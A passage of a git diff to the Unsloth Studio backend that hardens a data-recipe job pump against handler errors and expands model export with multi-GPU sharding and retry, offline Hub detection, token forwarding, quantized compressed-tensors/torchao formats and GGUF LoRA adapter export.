None: + """Apply one event, swallowing any handler error so the pump can't die.""" + try: + self._handle_event(job, event) + except Exception: + etype = event.get("type") if isinstance(event, dict) else type(event).__name__ + logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype) + def _pump_loop(self) -> None: - """Background thread: consumes worker events + updates job snapshot.""" + """Background thread: consume worker events and update the job snapshot. + + Guarded so no single event can end the loop; it is the sole writer of the + snapshot the UI polls, so its death would freeze status/SSE. + """ while True: snap = self._snapshot() if snap is None: return job, proc, mp_q = snap - event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25) + try: + event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25) + except Exception: + # If a read keeps raising after the worker died, finalize instead + # of spinning forever; only retry while the worker is still alive. + logger.exception("Data-recipe job pump: queue read failed; continuing") + if proc.is_alive(): + time.sleep(0.1) + continue + event = None + if event is not None: - self._handle_event(job, event) + self._safe_handle_event(job, event) continue if proc.is_alive(): continue - for e in self._drain_queue(mp_q): - self._handle_event(job, e) + # Worker exited: drain + finalize, guarded so an error can't strand the run "active". + try: + for e in self._drain_queue(mp_q): + self._safe_handle_event(job, e) - retired_job: Job | None = None - with self._lock: - if self._job and self._job.status in { - "pending", - "active", - "cancelling", - }: - if self._job.status == "cancelling": - self._job.status = "cancelled" - else: - self._job.status = "error" - self._job.error = self._job.error or "process exited" - self._job.finished_at = time.time() - event_type = ( - EVENT_JOB_CANCELLED if self._job.status == "cancelled" else EVENT_JOB_ERROR - ) - self._emit( - { - "type": event_type, - "ts": time.time(), - "job_id": self._job.job_id, - } - ) - retired_job = self._job - if retired_job is not None: - self._retire_workflow_key(retired_job) + retired_job: Job | None = None + with self._lock: + if self._job and self._job.status in { + "pending", + "active", + "cancelling", + }: + if self._job.status == "cancelling": + self._job.status = "cancelled" + else: + self._job.status = "error" + self._job.error = self._job.error or "process exited" + self._job.finished_at = time.time() + event_type = ( + EVENT_JOB_CANCELLED + if self._job.status == "cancelled" + else EVENT_JOB_ERROR + ) + self._emit( + { + "type": event_type, + "ts": time.time(), + "job_id": self._job.job_id, + } + ) + retired_job = self._job + if retired_job is not None: + self._retire_workflow_key(retired_job) + except Exception: + logger.exception("Data-recipe job pump: finalization after worker exit failed") return def _handle_event(self, job: Job, event: dict) -> None: diff --git a/studio/backend/core/data_recipe/jobs/parse.py b/studio/backend/core/data_recipe/jobs/parse.py index 3be830d0e4..8c2e8a4d55 100644 --- a/studio/backend/core/data_recipe/jobs/parse.py +++ b/studio/backend/core/data_recipe/jobs/parse.py @@ -133,7 +133,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: source = "github", status = "rate_limited", retry_after_sec = seconds, - message = ("Waiting for GitHub rate limit. Studio will resume automatically."), + message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."), ), ) @@ -147,7 +147,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: status = "rate_limited", retry_after_sec = seconds, message = ( - "Waiting for GitHub secondary rate limit. Studio will resume automatically." + "Waiting for GitHub secondary rate limit. Unsloth will resume automatically." ), ), ) @@ -161,7 +161,7 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: source = "github", status = "rate_limited", retry_after_sec = seconds, - message = ("Waiting for GitHub rate limit. Studio will resume automatically."), + message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."), ), ) diff --git a/studio/backend/core/data_recipe/local_callable_validators.py b/studio/backend/core/data_recipe/local_callable_validators.py index fbe847f9ce..143895d781 100644 --- a/studio/backend/core/data_recipe/local_callable_validators.py +++ b/studio/backend/core/data_recipe/local_callable_validators.py @@ -14,6 +14,7 @@ from pathlib import Path from typing import Any from loggers import get_logger +from utils.node_runtime import resolve_node_executable from utils.paths import ensure_dir, oxc_validator_tmp_root logger = get_logger(__name__) @@ -231,6 +232,14 @@ def _run_oxc_batch( "code_shape": code_shape, "codes": code_values, } + # Resolve a usable Node (system or the isolated install, which is not on the + # user's PATH); a bare "node" would fail for isolated-Node users. + node_executable = resolve_node_executable() + if not node_executable: + return _fallback_results( + len(code_values), + "Node.js not found (install Node >= 20.19, or re-run Unsloth setup to provision it).", + ) try: tmp_dir = ensure_dir(oxc_validator_tmp_root()) env = child_env_without_native_path_secret() @@ -238,11 +247,18 @@ def _run_oxc_batch( env["TMPDIR"] = tmp_dir_str env["TMP"] = tmp_dir_str env["TEMP"] = tmp_dir_str + # Resolved node's dir first on the child PATH so it finds its own npm/npx. + node_bin_dir = os.path.dirname(node_executable) + if node_bin_dir: + env["PATH"] = node_bin_dir + os.pathsep + env.get("PATH", "") + env.pop("NODE_PATH", None) proc = subprocess.run( - ["node", str(_OXC_RUNNER_PATH)], + [node_executable, str(_OXC_RUNNER_PATH)], cwd = str(_OXC_TOOL_DIR), input = json.dumps(payload), text = True, + encoding = "utf-8", + errors = "replace", capture_output = True, check = False, env = env, diff --git a/studio/backend/core/data_recipe/service.py b/studio/backend/core/data_recipe/service.py index 9d8ca5cfcc..9770e88b7f 100644 --- a/studio/backend/core/data_recipe/service.py +++ b/studio/backend/core/data_recipe/service.py @@ -9,6 +9,8 @@ import os from pathlib import Path from typing import Any +from utils.paths import recipe_datasets_root + from .jsonable import to_jsonable from .local_callable_validators import ( register_oxc_local_callable_validators, @@ -277,6 +279,11 @@ def create_data_designer(recipe: dict[str, Any], *, artifact_path: str | None = _apply_data_designer_image_context_patch() from data_designer.interface.data_designer import DataDesigner # pyright: ignore[reportMissingImports] + if artifact_path is None: + # DataDesigner defaults to cwd/artifacts; packaged Unsloth can run with + # cwd=/, so keep default callers on Unsloth's writable recipe artifact root. + artifact_path = str(recipe_datasets_root()) + recipe = _strip_frontend_model_config_metadata(recipe) model_providers = build_model_providers(recipe) _validate_recipe_runtime_support(recipe, model_providers) diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index b28b61f088..4979ebd48d 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -10,9 +10,21 @@ import tempfile from loggers import get_logger import os import shutil +import contextlib from pathlib import Path from typing import Optional, Tuple, List -from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + +# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable +# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash. +try: + from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + _UNSLOTH_IMPORT_ERROR = None +except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load + FastLanguageModel = None + FastVisionModel = None + _IS_MLX = False + _UNSLOTH_IMPORT_ERROR = _unsloth_exc + from huggingface_hub import HfApi, ModelCard from utils.hardware import clear_gpu_cache @@ -26,21 +38,210 @@ from utils.paths import ( ) from core.inference import get_inference_backend -# GPU-only imports — guarded for Apple Silicon where these aren't needed +# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays +# importable; export then degrades to a clear "PyTorch is not installed" error. +torch = None +_TORCH_IMPORT_ERROR: Optional[BaseException] = None if not _IS_MLX: - from peft import PeftModel, PeftModelForCausalLM - from transformers.modeling_utils import PushToHubMixin - import torch + try: + from peft import PeftModel, PeftModelForCausalLM + from transformers.modeling_utils import PushToHubMixin + import torch + except Exception as _torch_exc: # ImportError, or a broken native torch load + _TORCH_IMPORT_ERROR = _torch_exc logger = get_logger(__name__) + +def _export_runtime_available() -> bool: + """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host).""" + return bool(_IS_MLX) or (FastLanguageModel is not None) + + +def _export_runtime_message() -> str: + """Precise reason the export runtime is unavailable, mirroring hardware.export_capability().""" + if torch is None: + return ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + return ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on " + "CPU only.)" + ) + + +# Kept for call sites / tests referencing the PyTorch-missing text. +_PYTORCH_MISSING_MESSAGE = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." +) + _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False +def _multi_gpu_device_map_kwargs() -> dict: + """``device_map`` kwargs for sharding a checkpoint across every visible GPU. + + unsloth's ``from_pretrained`` defaults to ``device_map="sequential"``, which stacks + the whole model on GPU0 and OOMs multi-GPU hosts whose other GPUs sit empty (#7053). + Returns ``{"device_map": "balanced"}`` only on a real multi-GPU CUDA/ROCm host + (mirroring the inference loader's ``get_device_map``), else empty so single-GPU, CPU + and MLX loads keep the loader default.""" + if _IS_MLX: + return {} + try: + from utils.hardware import get_device_map, get_parent_visible_gpu_ids + + visible = get_parent_visible_gpu_ids() + if len(visible) > 1: + device_map = get_device_map(visible) + elif not visible: + # UUID/MIG masks resolve to no numeric ids; get_device_map(None) falls back + # to the visible-GPU count, so a multi-GPU UUID/MIG host still shards. + device_map = get_device_map(None) + else: + return {} + if device_map == "balanced": + return {"device_map": device_map} + except Exception as exc: + logger.debug(f"multi-GPU device_map resolution failed; using loader default: {exc}") + return {} + + +def _is_oom_error(exc: BaseException) -> bool: + """True for an accelerator OOM, however it is spelled. + + accelerate and transformers re-raise it as a plain ``RuntimeError`` on several paths + and ROCm/XPU use their own classes, so match the message too. + """ + if torch is not None: + oom_types = tuple( + t + for t in ( + getattr(torch, "OutOfMemoryError", None), + getattr(getattr(torch, "cuda", None), "OutOfMemoryError", None), + getattr(getattr(torch, "xpu", None), "OutOfMemoryError", None), + ) + if isinstance(t, type) + ) + if oom_types and isinstance(exc, oom_types): + return True + return "out of memory" in f"{type(exc).__name__}: {exc}".lower() + + +def _is_cpu_spill_rejection(exc: BaseException) -> bool: + """bitsandbytes refuses a map that spills to CPU/disk with a plain ``ValueError``. + + Busy secondary GPUs can make ``balanced`` spill to CPU even where the old sequential + load fit on GPU0, and that message says nothing about memory, so the retry has to + match it explicitly. See transformers ``quantizers/quantizer_bnb_4bit.py``. + """ + return "dispatched on the cpu or the disk" in str(exc).lower() + + +class _CpuSpillRetry(Exception): + """A multi-GPU load that succeeded but left modules offloaded to CPU/disk.""" + + +def _cpu_offloaded_modules(model) -> int: + """Count the modules a load parked on CPU or disk. + + Only bitsandbytes refuses such a map; a full-precision load accepts it, leaves the + parameters on meta and dies much later in safetensors with "Cannot copy out of meta + tensor". Nothing raises at load time, so inspect the map directly. PEFT re-dispatches + when attaching an adapter, so in practice this catches merged checkpoints. + """ + device_map = getattr(model, "hf_device_map", None) or {} + return sum(1 for target in device_map.values() if str(target) in ("cpu", "disk")) + + +def _supports_kwarg(fn, name): + """True if `fn` accepts keyword `name` directly or via **kwargs.""" + import inspect + + try: + params = inspect.signature(fn).parameters + except (TypeError, ValueError): + return False + return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values()) + + +def _compressed_export_supported(): + """True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export.""" + try: + import unsloth.save as _us + return hasattr(_us, "_normalize_compressed_method") + except Exception: + return False + + +def _torchao_export_supported(): + """True if the installed unsloth build has the portable torchao FP8/INT8 export path.""" + try: + import unsloth.save as _us + return hasattr(_us, "_normalize_torchao_method") + except Exception: + return False + + +def _has_nvidia_gpu(): + """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it.""" + try: + from utils.hardware import hardware as _hw + return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM + except Exception: + try: + import torch + return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None + except Exception: + return False + + +def _hf_offline(timeout = 3): + """True if export should avoid the Hub: honors the HF offline env vars, else does one + cheap TCP reachability probe so a network-down load uses local files / the HF cache + instead of hanging on connection timeouts. Proxy-aware (probes the proxy egress when + one is configured); disable the probe with UNSLOTH_OFFLINE_PROBE=0.""" + _offline = {"1", "true", "yes", "on"} + if ( + os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline + or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline + ): + return True + if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in {"0", "false", "no", "off"}: + return False # probe disabled -> assume online; loads still pass local_files_only on env + + # Shared bounded, proxy-aware probe (also used by the export worker before version activation). + from utils.transformers_version import hf_endpoint_unreachable + + if hf_endpoint_unreachable(timeout): + logger.warning("Hugging Face endpoint unreachable; loading checkpoint in offline mode") + return True + return False + + +# Reuse Unsloth's lock-guarded forced-offline context; no-op fallback if it moves. +try: + from unsloth.models.loader_utils import _force_hf_offline +except Exception: + import contextlib as _contextlib + + @_contextlib.contextmanager + def _force_hf_offline(): + yield + + +def _offline_window_if(local_files_only): + """Forced-offline window when offline was detected, else a no-op context.""" + return _force_hf_offline() if local_files_only else contextlib.nullcontext() + + def _is_wsl(): """Detect if running under Windows Subsystem for Linux.""" try: - return "microsoft" in open("/proc/version").read().lower() + return "microsoft" in open("/proc/version", encoding = "utf-8").read().lower() except Exception: return False @@ -145,13 +346,20 @@ class ExportBackend: max_seq_length: int = 2048, load_in_4bit: bool = True, trust_remote_code: bool = False, + hf_token: Optional[str] = None, + _device_map_override: Optional[dict] = None, ) -> Tuple[bool, str]: """ Load a checkpoint for export. + ``hf_token`` authenticates the actual weight load for gated/private + checkpoints, matching the token the worker used for the security preflight + (otherwise a gated repo passes scanning then 401s at from_pretrained). + Returns: Tuple of (success: bool, message: str) """ + token = hf_token if hf_token and hf_token.strip() else None try: logger.info(f"Loading checkpoint: {checkpoint_path}") @@ -169,8 +377,27 @@ class ExportBackend: model_id = base_model or checkpoint_path - self._audio_type = detect_audio_type(model_id) - self.is_vision = not self._audio_type and is_vision_model(model_id) + # Skip the Hub when offline so a no-internet export uses the local cache. + local_files_only = _hf_offline() + + # Shard across every visible GPU instead of stacking on GPU0 (#7053); {} on + # single-GPU/CPU/MLX. _device_map_override is the single-device retry below. + _device_map_kw = ( + _multi_gpu_device_map_kwargs() + if _device_map_override is None + else _device_map_override + ) + + # Run the type-detection probes in the forced-offline window (else a gated + # base 404s); it covers is_vision_model's Hub reads + the transformers-5 + # subprocess, and local_files_only makes detect_audio_type's requests.get skip. + with _offline_window_if(local_files_only): + self._audio_type = detect_audio_type( + model_id, hf_token = token, local_files_only = local_files_only + ) + self.is_vision = not self._audio_type and is_vision_model( + model_id, hf_token = token, local_files_only = local_files_only + ) if self._audio_type == "csm": from unsloth import FastModel @@ -184,6 +411,9 @@ class ExportBackend: auto_model = CsmForConditionalGeneration, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) elif self._audio_type == "whisper": @@ -197,6 +427,9 @@ class ExportBackend: load_in_4bit = False, auto_model = WhisperForConditionalGeneration, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) elif self._audio_type == "snac": @@ -207,6 +440,9 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) elif self._audio_type == "bicodec": @@ -218,6 +454,9 @@ class ExportBackend: dtype = None if _IS_MLX else torch.float32, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) elif self._audio_type == "dac": @@ -228,6 +467,9 @@ class ExportBackend: max_seq_length = max_seq_length, load_in_4bit = False, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) elif self.is_vision: @@ -238,6 +480,9 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) tokenizer = processor # vision: processor acts as tokenizer @@ -249,8 +494,18 @@ class ExportBackend: dtype = None, load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, + token = token, + local_files_only = local_files_only, + **_device_map_kw, ) + # Only when we asked for the multi-GPU map: a single-GPU host has no second + # placement to retry on, so leave its behaviour untouched. + _offloaded = _cpu_offloaded_modules(model) if _device_map_kw else 0 + if _device_map_override is None and _offloaded: + del model + raise _CpuSpillRetry(f"{_offloaded} module(s) offloaded to CPU/disk") + if _IS_MLX: # MLX doesn't use PeftModel — detect LoRA via adapter_config.json self.is_peft = adapter_config.exists() @@ -273,11 +528,41 @@ class ExportBackend: return True, f"Loaded {model_type} model{peft_info} successfully" except Exception as e: - logger.error(f"Error loading checkpoint: {e}") - import traceback + # Sharding is an optimisation, never a requirement. "balanced" budgets from the + # free memory read BEFORE this process opens a CUDA context on each GPU, so when + # a training or chat job already owns the others the shard can OOM, or spill to + # CPU and be refused by bitsandbytes, where the old single-device load succeeded. + # Fall back once before giving up. + if ( + _device_map_override is None + and ( + isinstance(e, _CpuSpillRetry) or _is_oom_error(e) or _is_cpu_spill_rejection(e) + ) + and _multi_gpu_device_map_kwargs() + ): + # Retry outside this block: the live traceback pins the half-built model's + # frames, so an in-block retry inherits the exhausted device. + retry_reason = str(e) + else: + logger.error(f"Error loading checkpoint: {e}") + import traceback - logger.error(traceback.format_exc()) - return False, f"Failed to load checkpoint: {str(e)}" + logger.error(traceback.format_exc()) + return False, f"Failed to load checkpoint: {str(e)}" + + logger.warning( + f"Multi-GPU export load unusable ({retry_reason}); retrying on " + f"the single-device loader default." + ) + self.cleanup_memory() + return self.load_checkpoint( + checkpoint_path, + max_seq_length = max_seq_length, + load_in_4bit = load_in_4bit, + trust_remote_code = trust_remote_code, + hf_token = hf_token, + _device_map_override = {}, + ) def _write_export_metadata(self, save_directory: str): """Write export_metadata.json with base model info for Chat page discovery.""" @@ -289,7 +574,7 @@ class ExportBackend: ) metadata = {"base_model": base_model} metadata_path = os.path.join(save_directory, "export_metadata.json") - with open(metadata_path, "w") as f: + with open(metadata_path, "w", encoding = "utf-8") as f: json.dump(metadata, f, indent = 2) logger.info(f"Wrote export metadata to {metadata_path}") except Exception as e: @@ -303,13 +588,17 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """ Export merged model (for PEFT models). Args: save_directory: Local directory to save model - format_type: "16-bit (FP16)" or "4-bit (FP4)" + format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label + compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8", + "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides + format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES. push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID (username/model-name) hf_token: Hugging Face token @@ -318,27 +607,114 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - if not self.is_peft: - return ( - False, - "This is not a PEFT model. Use 'Export Base Model' instead.", - None, - ) + # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike + # (save_pretrained_merged is a no-op merge that just saves the base). output_path: Optional[str] = None + # Quantized formats save to a sibling "-". Two backends: compressed-tensors + # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias + # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label. + _LABEL_TO_ALIAS = { + "FP8 (compressed-tensors)": "fp8", + "NVFP4 (compressed-tensors)": "nvfp4", + } + compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type) + compressed_suffix: Optional[str] = None + # Classify the alias: torchao-portable vs compressed-tensors. + torchao_info = None + if compressed_alias and _torchao_export_supported(): + try: + import unsloth.save as _us_t + torchao_info = _us_t._normalize_torchao_method(compressed_alias) + except Exception: + torchao_info = None + is_torchao = torchao_info is not None + is_compressed = compressed_alias is not None and not is_torchao try: + if _IS_MLX and (is_compressed or is_torchao): + return ( + False, + "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. " + "Use 16-bit or GGUF.", + None, + ) + + if is_torchao: + # Portable torchao: no NVIDIA GPU, no calibration. + compressed_suffix = torchao_info[1] + + if is_compressed: + # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed. + if not _has_nvidia_gpu(): + return ( + False, + "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other " + "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.", + None, + ) + if not _compressed_export_supported(): + return ( + False, + "Compressed-tensors (FP8/FP4) export requires an Unsloth build with " + "compressed-tensors support. Upgrade unsloth, or choose 16-bit.", + None, + ) + import unsloth.save as _us + + # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models + # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports + # through it when available; else fall back to the workspace 0.10.x path below. + _shadow_pp = None + try: + from utils.transformers_version import llmcompressor_shadow_pythonpath + _shadow_pp = llmcompressor_shadow_pythonpath() + except Exception as e: + logger.warning(f"llm-compressor-main shadow unavailable: {e}") + if _shadow_pp: + os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp + else: + # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its + # transformers ceiling, so fail fast for sidecar models; default-tier still works. + os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None) + _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling() + if _exceeds: + return ( + False, + "FP8/FP4 compressed-tensors export is not available for this model: it " + f"runs under transformers {_tf_ver}, but the installed llm-compressor " + f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the " + "llm-compressor-main runtime could not be provisioned (offline or " + "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.", + None, + ) + + try: + info = _us._normalize_compressed_method(compressed_alias) + except Exception as e: + return False, f"Unsupported compressed export '{compressed_alias}': {e}", None + if info is None: + return ( + False, + f"'{compressed_alias}' is not a recognized compressed-tensors export.", + None, + ) + compressed_suffix = info[2] + if _IS_MLX: mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" + elif is_compressed or is_torchao: + save_method = compressed_alias + elif format_type == "4-bit (FP4)": + save_method = "merged_4bit_forced" + elif self._audio_type == "whisper": + save_method = None else: - if format_type == "4-bit (FP4)": - save_method = "merged_4bit_forced" - elif self._audio_type == "whisper": - save_method = None - else: - save_method = "merged_16bit" + save_method = "merged_16bit" if save_directory: save_directory = str(resolve_export_write_dir(save_directory)) @@ -356,9 +732,15 @@ class ExportBackend: save_directory, self.current_tokenizer, save_method = save_method ) - self._write_export_metadata(save_directory) - logger.info(f"Model saved successfully to {save_directory}") - output_path = str(Path(save_directory).resolve()) + # Compressed / torchao writes to the "-" sibling; report that as output. + final_dir = ( + f"{save_directory}-{compressed_suffix}" + if (is_compressed or is_torchao) + else save_directory + ) + self._write_export_metadata(final_dir) + logger.info(f"Model saved successfully to {final_dir}") + output_path = str(Path(final_dir).resolve()) if push_to_hub: if not repo_id or not hf_token: @@ -393,6 +775,31 @@ class ExportBackend: token = hf_token, private = private, ) + elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir(): + # Already built in output_path; upload it directly instead of re-running the + # expensive quantization that push_to_hub_merged(save_method=...) would redo. + hf_api = HfApi(token = hf_token) + repo_id = PushToHubMixin._create_repo( + PushToHubMixin, + repo_id = repo_id, + private = private, + token = hf_token, + ) + content = MODEL_CARD.format( + username = repo_id.split("/")[0], + base_model = getattr(self.current_model.config, "_name_or_path", "unknown"), + model_type = getattr(self.current_model.config, "model_type", "llm"), + method = compressed_alias or format_type, + extra = "unsloth", + ) + ModelCard(content).push_to_hub( + repo_id, token = hf_token, commit_message = "Unsloth Model Card" + ) + hf_api.upload_folder( + folder_path = output_path, + repo_id = repo_id, + repo_type = "model", + ) else: hub_save_method = save_method if save_method is not None else "merged_16bit" self.current_model.push_to_hub_merged( @@ -428,6 +835,8 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None @@ -546,17 +955,20 @@ class ExportBackend: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, + imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: """ Export model in GGUF format. Args: save_directory: Local directory to save model - quantization_method: GGUF quantization method (e.g., "Q4_K_M") + quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them + (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single + model load (unsloth save_to_gguf loops internally). push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID hf_token: Hugging Face token @@ -564,14 +976,35 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None + # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise + # an unexpected-keyword error even for a plain no-imatrix export. + if imatrix_file is not None and not _supports_kwarg( + self.current_model.save_pretrained_gguf, "imatrix_file" + ): + return ( + False, + "This Unsloth build does not support GGUF imatrix export. " + "Upgrade unsloth and unsloth_zoo, or disable the imatrix option.", + None, + ) + imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {} + output_path: Optional[str] = None model_tmp_to_cleanup: Optional[str] = None try: - # unsloth expects lowercase quant method - quant_method = quantization_method.lower() + # Normalize to a lowercased list so multiple quants come from one model load. + if isinstance(quantization_method, (list, tuple)): + quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()] + else: + quant_methods = [str(quantization_method).lower()] + if not quant_methods: + quant_methods = ["q4_k_m"] + quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0] # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it # can't drift past the pinned llama-quantize binary's gguf API. @@ -620,6 +1053,7 @@ class ExportBackend: _model_tmp, self.current_tokenizer, quantization_method = quant_method, + **imatrix_kw, ) # Relocate the .gguf that convert_to_gguf wrote to cwd (repo root). @@ -686,12 +1120,13 @@ class ExportBackend: self.current_tokenizer, quantization_method = quant_method, token = hf_token, + **imatrix_kw, ) logger.info(f"GGUF model pushed successfully to {repo_id}") return ( True, - f"GGUF model exported successfully ({quantization_method})", + f"GGUF model exported successfully ({', '.join(quant_methods)})", output_path, ) @@ -711,19 +1146,71 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: """ Export LoRA adapter only (not merged). + Args: + gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp + convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`. + gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32. + Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None if not self.is_peft: return False, "This is not a PEFT model. No adapter to export.", None + _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32") + if gguf: + if _IS_MLX: + return ( + False, + "GGUF LoRA adapter export is not supported on macOS/MLX. " + "Use the safetensors adapter instead.", + None, + ) + # llama.cpp's convert_lora_to_gguf.py has no concept of DoRA's + # lora_magnitude_vector tensors: it only reads the standard + # lora_A/lora_B delta, so exporting a DoRA adapter would silently + # drop the magnitude rescaling and produce a GGUF LoRA file that + # loads fine but no longer matches the trained model. + _peft_config = getattr(self.current_model, "peft_config", {}).get("default") + if getattr(_peft_config, "use_dora", False): + return ( + False, + "GGUF LoRA export is not supported for DoRA adapters: the GGUF LoRA " + "format has no way to represent DoRA's magnitude vectors, so the " + "exported file would silently lose the DoRA behavior. Use the " + "safetensors adapter instead, or merge to a full GGUF model.", + None, + ) + outtype = str(gguf_outtype).lower() + if outtype not in _GGUF_LORA_OUTTYPES: + return ( + False, + f"Invalid GGUF LoRA outtype '{gguf_outtype}'. " + f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.", + None, + ) + # getattr so an older build without save_pretrained_gguf returns a clean message + # instead of an AttributeError (a generic 500). + _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None) + if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"): + return ( + False, + "This Unsloth build does not support GGUF LoRA adapter export. " + "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.", + None, + ) + output_path: Optional[str] = None try: if save_directory: @@ -731,7 +1218,24 @@ class ExportBackend: logger.info(f"Saving LoRA adapter locally to: {save_directory}") ensure_dir(Path(save_directory)) - if _IS_MLX: + if gguf: + # Writes the adapter files plus "-lora-.gguf". + _apply_wsl_sudo_patch() + self.current_model.save_pretrained_gguf( + save_directory, + self.current_tokenizer, + save_method = "lora", + quantization_method = outtype, + # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config. + token = hf_token or None, + ) + final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf"))) + logger.info( + "LoRA GGUF export complete. Files in %s:\n %s", + save_directory, + "\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)", + ) + elif _IS_MLX: # MLX: save adapters.safetensors + tokenizer files self.current_model.save_lora_adapters(save_directory) self.current_tokenizer.save_pretrained(save_directory) 